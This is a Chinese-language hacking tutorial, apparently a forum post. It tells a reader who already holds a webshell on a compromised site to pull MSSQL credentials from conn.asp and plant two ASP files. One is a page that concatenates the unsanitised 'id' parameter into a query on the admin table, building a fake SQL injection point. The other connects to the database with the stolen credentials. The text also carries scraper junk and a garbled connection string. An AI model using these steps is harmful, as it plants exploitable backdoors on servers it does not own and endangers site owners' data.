首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:2 q F. `" I/ P& @
ASP/Visual Basic代码0 A0 c& Z% E0 z9 t
<!--#include file="xx.asp"-->
% P9 v2 H P: O; c<% 3 M1 O$ S! o) A+ y8 l
set rs=server.createobject("ADODB.recordset")
5 u. F- S" B9 @/ n) z# Wid = request("id") + Y- h5 U4 \; [5 C
strSQL = "select * from admin where id=" & id J3 x0 r. A. ~9 l: ~
rs.open strSQL,conn,1,3
/ C/ y l4 z0 P' z- N; j& ?) Vrs.close
( p1 n- }% y$ A+ z%> 1 G6 Q( h0 g* ?) ^8 k9 t% ^) c
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!9 {# S; j$ t+ ?
然后就要构造一个连接数据库的文件了,代码如下:
6 e; c) \( _+ _7 E/ A2 i8 D. RASP/Visual Basic代码' q$ i4 w' F( }, G
<%
! X4 _) { {$ Y; u5 V3 n# k, K0 VstrSQLServerName = "000.000.000.000" '服务器名称或地址
; W! E3 g5 `& w$ p1 C! EstrSQLDBUserName = "sqlname" '数据库帐号 1 n. x' V( o4 k1 e" E
strSQLDBPassword = "sqlpass" '数据库密码 5 M/ r6 J; l0 Q: u
strSQLDBName = "sqldataname" '数据库名称 . W6 W/ {* H7 g6 Z. q' @
Set conn = Server.CreateObject("ADODB.Connection")
+ h& {1 @0 `, ?2 n9 ^* T% OstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";" ; e& @5 V, D. \" H! L V) `
conn.open strCon + r. w' A4 b1 a" Q4 ~8 n8 o2 ]! Y
%> 2 T* K* s I E4 e% H
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功
8 O4 m Q& o r$ K3 K) C+ y |